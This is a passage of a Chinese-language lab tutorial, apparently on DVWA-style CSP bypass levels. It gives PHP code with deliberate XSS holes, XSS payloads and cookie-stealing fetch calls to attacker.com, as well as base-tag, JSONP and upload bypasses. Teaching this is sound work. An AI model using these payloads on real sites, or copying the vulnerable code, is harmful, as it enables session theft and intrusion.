title="攻击目标"></a>攻击目标</h3><p>设置了基础CSP，但配置不当，可以绕过。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ Medium难度：设置了CSP，但存在漏洞 ★★★</span></span><br><span class="line"><span class="comment">// 设置CSP HTTP响应头</span></span><br><span class="line"><span class="comment">// script-src - 限制JavaScript来源</span></span><br><span class="line"><span class="comment">// &#x27;self&#x27; - 允许同源脚本</span></span><br><span class="line"><span class="comment">// &#x27;unsafe-inline&#x27; - 允许内联脚本（危险！）</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 问题：</span></span><br><span class="line"><span class="comment">// 1. &#x27;unsafe-inline&#x27;使CSP几乎失效</span></span><br><span class="line"><span class="comment">// 2. 任何内联的&lt;script&gt;标签都可以执行</span></span><br><span class="line"><span class="comment">// 3. 事件处理器（onclick, onerror等）可以执行</span></span><br><span class="line"><span class="comment">// 4. javascript: URI可以执行</span></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Content-Security-Policy: script-src &#x27;self&#x27; &#x27;unsafe-inline&#x27;;&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$name</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;name&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// 仍然没有输出编码</span></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;Hello, &quot;</span> . <span class="variable">$name</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>CSP策略解析：</strong></p><figure class="highlight xquery"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">Content-Security-Policy: script-src <span class="string">&#x27;self&#x27;</span> <span class="string">&#x27;unsafe-inline&#x27;</span>;</span><br><span class="line"></span><br><span class="line">script-src - JavaScript源控制</span><br><span class="line"><span class="string">&#x27;self&#x27;</span> - 允许同源JavaScript文件</span><br><span class="line"><span class="string">&#x27;unsafe-inline&#x27;</span> - 允许内联脚本</span><br><span class="line"></span><br><span class="line">允许：</span><br><span class="line">✓ <span class="language-xml"><span class="tag">&lt;<span class="name">script</span>&gt;</span>alert(1)<span class="tag">&lt;/<span class="name">script</span>&gt;</span></span></span><br><span class="line">✓ &lt;img onerror=alert(<span class="number">1</span>)&gt;</span><br><span class="line">✓ <span class="language-xml"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">&quot;javascript:alert(1)&quot;</span>&gt;</span></span></span><br><span class="line"><span class="language-xml">✓ </span><span class="language-xml"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;/local.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">阻止：</span></span><br><span class="line"><span class="language-xml">✗ </span><span class="language-xml"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;http://evil.com/xss.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>CSP策略</strong> - 限制脚本来源为同源</li><li><strong>阻止外部脚本</strong> - 不允许加载外部域的JavaScript</li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>关键问题：<code>&#39;unsafe-inline&#39;</code></strong></p><p>这是CSP中最危险的配置，允许：</p><ol><li><p><strong>内联<script>标签</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span>alert(1)<span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure></li><li><p><strong>内联事件处理器</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">img</span> <span class="attr">onerror</span>=<span class="string">alert(1)</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span> <span class="attr">onload</span>=<span class="string">alert(1)</span>&gt;</span></span><br></pre></td></tr></table></figure></li><li><p><strong>javascript: URI</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">&quot;javascript:alert(1)&quot;</span>&gt;</span>Click<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br></pre></td></tr></table></figure></li></ol><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：使用内联脚本（直接绕过）"><a href="#方法1：使用内联脚本（直接绕过）" class="headerlink" title="方法1：使用内联脚本（直接绕过）"></a>方法1：使用内联脚本（直接绕过）</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- CSP允许内联脚本 --&gt;</span></span><br><span class="line">?name=<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;Bypassed CSP&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 窃取Cookie --&gt;</span></span><br><span class="line">?name=<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">fetch</span>(<span class="string">&#x27;http://attacker.com/?c=&#x27;</span>+<span class="variable language_">document</span>.<span class="property">cookie</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="方法2：使用事件处理器"><a href="#方法2：使用事件处理器" class="headerlink" title="方法2：使用事件处理器"></a>方法2：使用事件处理器</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?name=<span class="tag">&lt;<span class="name">img</span> <span class="attr">src</span>=<span class="string">x</span> <span class="attr">onerror</span>=<span class="string">alert(</span>&#x27;<span class="attr">CSP</span> <span class="attr">Bypass</span>&#x27;)&gt;</span></span><br><span class="line">?name=<span class="tag">&lt;<span class="name">svg</span> <span class="attr">onload</span>=<span class="string">alert(</span>&#x27;<span class="attr">CSP</span> <span class="attr">Bypass</span>&#x27;)&gt;</span></span><br><span class="line">?name=<span class="tag">&lt;<span class="name">body</span> <span class="attr">onload</span>=<span class="string">alert(</span>&#x27;<span class="attr">CSP</span> <span class="attr">Bypass</span>&#x27;)&gt;</span></span><br></pre></td></tr></table></figure><h4 id="方法3：使用javascript-URI"><a href="#方法3：使用javascript-URI" class="headerlink" title="方法3：使用javascript: URI"></a>方法3：使用javascript: URI</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?name=<span class="tag">&lt;<span class="name">a</span> <span class="attr">href</span>=<span class="string">&quot;javascript:alert(&#x27;CSP Bypass&#x27;)&quot;</span>&gt;</span>Click me<span class="tag">&lt;/<span class="name">a</span>&gt;</span></span><br><span class="line">?name=<span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">&quot;javascript:alert(&#x27;CSP Bypass&#x27;)&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="方法4：Base标签注入"><a href="#方法4：Base标签注入" class="headerlink" title="方法4：Base标签注入"></a>方法4：Base标签注入</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 改变相对路径的基准 --&gt;</span></span><br><span class="line">?name=<span class="tag">&lt;<span class="name">base</span> <span class="attr">href</span>=<span class="string">&quot;http://attacker.com/&quot;</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 页面中的相对路径脚本会从攻击者服务器加载 --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- 如果页面有：&lt;script src=&quot;app.js&quot;&gt;&lt;/script&gt; --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- 实际加载：http://attacker.com/app.js --&gt;</span></span><br></pre></td></tr></table></figure><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>较严格的CSP策略，但仍有绕过可能。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ High难度：更严格的CSP ★★★</span></span><br><span class="line"><span class="comment">// script-src &#x27;self&#x27; - 只允许同源脚本，不允许内联</span></span><br><span class="line"><span class="comment">// object-src &#x27;none&#x27; - 禁止插件（Flash等）</span></span><br><span class="line"><span class="comment">// base-uri &#x27;self&#x27; - 限制&lt;base&gt;标签</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 改进：</span></span><br><span class="line"><span class="comment">// 1. 移除了&#x27;unsafe-inline&#x27;</span></span><br><span class="line"><span class="comment">// 2. 添加了base-uri限制</span></span><br><span class="line"><span class="comment">// 3. 禁止了插件</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 问题：</span></span><br><span class="line"><span class="comment">// 1. 如果网站有JSONP端点，可能被利用</span></span><br><span class="line"><span class="comment">// 2. 如果有文件上传功能，可能上传恶意JS</span></span><br><span class="line"><span class="comment">// 3. 如果有Angular等框架，可能存在模板注入</span></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Content-Security-Policy: script-src &#x27;self&#x27;; object-src &#x27;none&#x27;; base-uri &#x27;self&#x27;;&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$name</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;name&#x27;</span>];</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 新增：输出编码 ★★★</span></span><br><span class="line"><span class="comment">// htmlspecialchars() - 将特殊字符转换为HTML实体</span></span><br><span class="line"><span class="comment">// ENT_QUOTES - 转换单引号和双引号</span></span><br><span class="line"><span class="comment">// &#x27;UTF-8&#x27; - 字符编码</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 转换：</span></span><br><span class="line"><span class="comment">// &lt; → &amp;lt;</span></span><br><span class="line"><span class="comment">// &gt; → &amp;gt;</span></span><br><span class="line"><span class="comment">// &amp; → &amp;amp;</span></span><br><span class="line"><span class="comment">// &quot; → &amp;quot;</span></span><br><span class="line"><span class="comment">// &#x27; → &amp;#039;</span></span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;Hello, &quot;</span> . <span class="title function_ invoke__">htmlspecialchars</span>(<span class="variable">$name</span>, ENT_QUOTES, <span class="string">&#x27;UTF-8&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>CSP策略解析：</strong></p><figure class="highlight xquery"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">Content-Security-Policy: script-src <span class="string">&#x27;self&#x27;</span>; object-src <span class="string">&#x27;none&#x27;</span>;<span class="built_in"> base-uri</span> <span class="string">&#x27;self&#x27;</span>;</span><br><span class="line"></span><br><span class="line">script-src <span class="string">&#x27;self&#x27;</span> - 只允许同源JavaScript</span><br><span class="line">object-src <span class="string">&#x27;none&#x27;</span> - 禁止所有插件<span class="built_in"></span></span><br><span class="line"><span class="built_in">base-uri</span> <span class="string">&#x27;self&#x27;</span> - <span class="language-xml"><span class="tag">&lt;<span class="name">base</span>&gt;</span>标签只能指向同源</span></span><br><span class="line"><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">允许：</span></span><br><span class="line"><span class="language-xml">✓ </span><span class="language-xml"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;/local.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">✓ </span><span class="language-xml"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;/path/to/app.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><span class="language-xml"></span></span><br><span class="line"><span class="language-xml"></span></span><br><span class="line"><span class="language-xml">阻止：</span></span><br><span class="line"><span class="language-xml">✗ </span><span class="language-xml"><span class="tag">&lt;<span class="name">script</span>&gt;</span>alert(1)<span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><span class="language-xml"> (内联)</span></span><br><span class="line"><span class="language-xml">✗ <span class="tag">&lt;<span class="name">img</span> <span class="attr">onerror</span>=<span class="string">alert(1)</span>&gt;</span> (事件处理器)</span></span><br><span class="line"><span class="language-xml">✗ </span><span class="language-xml"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;http://evil.com/xss.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><span class="language-xml"> (外部)</span></span><br><span class="line"><span class="language-xml">✗ </span><span class="language-xml"><span class="tag">&lt;<span class="name">base</span> <span class="attr">href</span>=<span class="string">&quot;http://evil.com/&quot;</span>&gt;</span> (外部base)</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>移除unsafe-inline</strong> - 禁止内联脚本</li><li><strong>输出编码</strong> - 使用htmlspecialchars()</li><li><strong>限制base标签</strong> - 防止base注入</li><li><strong>禁止插件</strong> - object-src 'none'</li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p>虽然CSP很严格，但仍有绕过可能：</p><h4 id="可能的绕过场景："><a href="#可能的绕过场景：" class="headerlink" title="可能的绕过场景："></a>可能的绕过场景：</h4><p><strong>1. JSONP端点利用</strong></p><p>如果网站有JSONP API：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 网站的JSONP端点</span></span><br><span class="line"><span class="comment">// /api/user?callback=handleUser</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 正常使用</span></span><br><span class="line">&lt;script src=<span class="string">&quot;/api/user?callback=handleUser&quot;</span>&gt;&lt;/script&gt;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 恶意利用</span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;/api/user?callback=alert&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span></span><br><span class="line"><span class="language-xml"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;/api/user?callback=eval&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span></span><br></pre></td></tr></table></figure><p><strong>2. 文件上传漏洞</strong></p><p>如果可以上传文件到同源：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 上传恶意JS到 /uploads/evil.js</span></span><br><span class="line"><span class="comment">// 然后包含</span></span><br><span class="line">&lt;script src=<span class="string">&quot;/uploads/evil.js&quot;</span>&gt;&lt;/script&gt;</span><br></pre></td></tr></table></figure><p><strong>3. Angular CSP Bypass</strong></p><p>如果使用AngularJS：</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- Angular模板注入 --&gt;</span></span><br><span class="line">&#123;&#123;constructor.constructor(&#x27;alert(1)&#x27;)()&#125;&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 如果CSP允许&#x27;unsafe-eval&#x27;（一些Angular版本需要） --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- 可以执行任意代码 --&gt;</span></span><br></pre></td></tr></table></figure><p><strong>4. Service Worker注册</strong></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 如果CSP没有限制worker-src</span></span><br><span class="line">navigator.<span class="property">serviceWorker</span>.<span class="title function_">register</span>(<span class="string">&#x27;/evil-worker.js&#x27;</span>);</span><br></pre></td></tr></table></figure><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：利用JSONP端点（需要存在JSONP）"><a href="#方法1：利用JSONP端点（需要存在JSONP）" class="headerlink" title="方法1：利用JSONP端点（需要存在JSONP）"></a>方法1：利用JSONP端点（需要存在JSONP）</h4><p><strong>步骤：</strong></p><ol><li><p>寻找网站的JSONP API</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 搜索常见JSONP参数</span></span><br><span class="line">grep -r <span class="string">&quot;callback=&quot;</span> .</span><br><span class="line">grep -r <span class="string">&quot;jsonp=&quot;</span> .</span><br></pre></td></tr></table></figure></li><li><p>测试JSONP端点</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;/api/data?callback=alert&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure></li><li><p>如果成功，构造完整攻击</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;/api/data?callback=eval&quot;</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript"><span class="comment">// 传递恶意代码给eval</span></span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure></li></ol><h4 id="方法2：文件上传-包含"><a href="#方法2：文件上传-包含" class="headerlink" title="方法2：文件上传+包含"></a>方法2：文件上传+包含</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 1. 上传恶意JavaScript --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- evil.js内容： --&gt;</span></span><br><span class="line">alert(&#x27;CSP Bypassed via Upload&#x27;);</span><br><span class="line">fetch(&#x27;http://attacker.com/?c=&#x27; + document.cookie);</span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 2. 包含上传的文件 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;/uploads/2023/11/evil.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="方法3：利用Angular-Vue等框架"><a href="#方法3：利用Angular-Vue等框架" class="headerlink" title="方法3：利用Angular/Vue等框架"></a>方法3：利用Angular/Vue等框架</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 如果页面使用AngularJS --&gt;</span></span><br><span class="line"><span class="comment">&lt;!-- 注入Angular表达式 --&gt;</span></span><br><span class="line">&#123;&#123;constructor.constructor(&#x27;alert(1)&#x27;)()&#125;&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">&lt;!-- 如果使用Vue --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">div</span> <span class="attr">v-html</span>=<span class="string">&quot;&#x27;&lt;img src=x onerror=alert(1)&gt;&#x27;&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br></pre></td></tr></table></figure><hr><h2 id="Impossible-难度"><a href="#Impossible-难度" class="headerlink" title="Impossible 难度"></a>Impossible 难度</h2><h3 id="攻击目标-3"><a href="#攻击目标-3" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>完善的CSP配置，真正安全。</p><h3 id="后端代码分析-3"><a href="#后端代码分析-3" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ Impossible难度：完善的CSP策略 ★★★</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 生成随机nonce</span></span><br><span class="line"><span class="comment">// random_bytes() - 生成密码学安全的伪随机字节</span></span><br><span class="line"><span class="comment">// bin2hex() - 将二进制转换为十六进制字符串</span></span><br><span class="line"><span class="comment">// 每次页面加载生成新的nonce</span></span><br><span class="line"><span class="variable">$nonce</span> = <span class="title function_ invoke__">bin2hex</span>(<span class="title function_ invoke__">random_bytes</span>(<span class="number">16</span>));</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 核心防护1：使用nonce-based CSP ★★★</span></span><br><span class="line"><span class="comment">// script-src &#x27;nonce-&#123;random&#125;&#x27; - 只允许带指定nonce的脚本</span></span><br><span class="line"><span class="comment">// &#x27;strict-dynamic&#x27; - 信任带nonce的脚本加载的脚本</span></span><br><span class="line"><span class="comment">// object-src &#x27;none&#x27; - 禁止所有插件</span></span><br><span class="line"><span class="comment">// base-uri &#x27;self&#x27; - 限制base标签</span></span><br><span class="line"><span class="comment">// require-trusted-types-for &#x27;script&#x27; - 要求可信类型</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// 优点：</span></span><br><span class="line"><span class="comment">// 1. nonce每次都不同，无法预测</span></span><br><span class="line"><span class="comment">// 2. 内联脚本必须有正确的nonce才能执行</span></span><br><span class="line"><span class="comment">// 3. 不允许&#x27;unsafe-inline&#x27;和&#x27;unsafe-eval&#x27;</span></span><br><span class="line"><span class="comment">// 4. 即使有XSS漏洞，也无法执行脚本</span></span><br><span class="line"><span class="variable">$csp</span> = <span class="string">&quot;Content-Security-Policy: &quot;</span> .</span><br><span class="line">       <span class="string">&quot;default-src &#x27;self&#x27;; &quot;</span> .</span><br><span class="line">       <span class="string">&quot;script-src &#x27;nonce-&quot;</span> . <span class="variable">$nonce</span> . <span class="string">&quot;&#x27; &#x27;strict-dynamic&#x27;; &quot;</span> .</span><br><span class="line">       <span class="string">&quot;object-src &#x27;none&#x27;; &quot;</span> .</span><br><span class="line">       <span class="string">&quot;base-uri &#x27;self&#x27;; &quot;</span> .</span><br><span class="line">       <span class="string">&quot;require-trusted-types-for &#x27;script&#x27;;&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="variable">$csp</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// ★★★ 核心防护2：输出编码 ★★★</span></span><br><span class="line"><span class="variable">$name</span> = <span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;name&#x27;</span>]) ? <span class="variable">$_GET</span>[<span class="string">&#x27;name&#x27;</span>] : <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="variable">$name</span> = <span class="title function_ invoke__">htmlspecialchars</span>(<span class="variable">$name</span>, ENT_QUOTES, <span class="string">&#x27;UTF-8&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">    &lt;title&gt;CSP Bypass - Impossible&lt;/title&gt;</span><br><span class="line">    &lt;!-- ★★★ 也在meta标签设置CSP（双重保险） ★★★ --&gt;</span><br><span class="line">    &lt;meta http-equiv=<span class="string">&quot;Content-Security-Policy&quot;</span></span><br><span class="line">          content=<span class="string">&quot;default-src &#x27;self&#x27;; script-src &#x27;nonce-&lt;?php echo <span class="subst">$nonce</span>; ?&gt;&#x27; &#x27;strict-dynamic&#x27;; object-src &#x27;none&#x27;; base-uri &#x27;self&#x27;;&quot;</span>&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">    &lt;h1&gt;CSP Bypass Test - Impossible&lt;/h1&gt;</span><br><span class="line"></span><br><span class="line">    &lt;form method=<span class="string">&quot;GET&quot;</span>&gt;</span><br><span class="line">        &lt;input 